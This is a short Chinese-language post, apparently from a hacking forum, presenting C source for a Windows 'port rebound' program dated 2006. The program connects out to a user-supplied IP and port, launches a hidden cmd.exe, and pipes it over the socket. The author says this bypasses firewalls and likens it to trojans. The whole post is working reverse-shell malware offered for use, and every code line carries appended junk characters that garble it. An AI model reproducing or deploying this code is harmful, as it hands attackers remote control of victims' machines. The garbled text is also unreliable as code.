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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ew;;e|24  
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/* ============================== S ?Zh#`(*  
Rebound port in Windows NT s{^98*  
By wind,2006/7 }U]jy  
===============================*/ {i;,Io7 W  
#include  5"%.8P  
#include q<Rj Ai  
7UTfafOGX  
#pragma comment(lib,"wsock32.lib") `IHP_IfR  
)W\)37=.  
void OutputShell(); I| TNo-!$  
SOCKET sClient; $<*) 5|6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ixTjXl2g  
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void main(int argc,char **argv) VFE@qX|  
{ |3$E w.  
WSADATA stWsaData; _kKG%U.gbK  
int nRet; Y;w|Fvjj+  
SOCKADDR_IN stSaiClient,stSaiServer; 44CZl{pt  
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if(argc != 3) jaS<*_~#R  
{ ammi4k/  
printf("Useage:\n\rRebound DestIP DestPort\n"); fe .=Z&  
return; c!w[)>v  
} '1u?-2  
i?L=8+9f  
WSAStartup(MAKEWORD(2,2),&stWsaData); QE 4   
/*C!]Z>.  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \p!UY 3'  
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stSaiClient.sin_family = AF_INET; (g6e5Sgi>  
stSaiClient.sin_port = htons(0); Q  :kg  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5:PS74/  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O:BdZ5 b  
{ qI'pjTMDY  
printf("Bind Socket Failed!\n"); (Jp~=6&lKf  
return; Y7G sL7I  
} py6<QoGV  
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stSaiServer.sin_family = AF_INET; L : $ `8  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); a\sK{`|X*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \g0vzo"u  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !vX4_!%  
{ ~EtGR # N  
printf("Connect Error!"); v^A+LZ*d  
return; QQ?t^ptv  
} z+Xr2B  
OutputShell(); fY]"_P  
} k(H&Af+  
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void OutputShell() b'wy{~l@  
{ . 0dGS  
char szBuff[1024]; Bzz|2/1y  
SECURITY_ATTRIBUTES stSecurityAttributes; e'b*_Ps'  
OSVERSIONINFO stOsversionInfo; lxd{T3LU  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m .++nF  
STARTUPINFO stStartupInfo; iEn:Hh)  
char *szShell; ]m_x;5s $  
PROCESS_INFORMATION stProcessInformation; %oBP6|e  
unsigned long lBytesRead; zw#n85=  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xg~9<BGsi  
stiF`l  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RvG=GJJ9  
stSecurityAttributes.lpSecurityDescriptor = 0; EPE_2a}  
stSecurityAttributes.bInheritHandle = TRUE; NQD5=/o  
H&-3`<  
ByY^d#oE  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fz=8"cDR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )at:Xm<s  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); H*]Vs=1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5V 2ZAYV  
stStartupInfo.wShowWindow = SW_HIDE; T]wC?gQG  
stStartupInfo.hStdInput = hReadPipe; 'VV U-)(8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9!Av sC9  
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GetVersionEx(&stOsversionInfo); |GMo"[  
G=y~)B}  
switch(stOsversionInfo.dwPlatformId) }NDl~5  
{ GVhqNy   
case 1: KHx2$*E_  
szShell = "command.com"; P'wo+Tn*  
break; ti61&)(  
default: vom3 C9o  
szShell = "cmd.exe"; #ss/mvc3  
break; cr;:5D%_  
} GZO:lDdA  
:E}y Pcw  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %N Q mV_1  
k'r}@-X  
send(sClient,szMsg,77,0); yeyDB>#Va.  
while(1) {.Qv1oOa  
{ 4T@+gy^.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a~Dk@>+P>  
if(lBytesRead) Oj-\  
{ l%}q&_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); I^EZs6~  
send(sClient,szBuff,lBytesRead,0); 0 s+X:*C~  
} KBM*7raA  
else N3$1f$`  
{ 3li$)S1z  
lBytesRead=recv(sClient,szBuff,1024,0); CUJq [  
if(lBytesRead<=0) break; 6y!U68L;B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~!ooIwNNz  
} Q u2 ~wp<  
} NsI.mTc2  
D\M"bf>q1  
return; 7c"Csq/]I  
}
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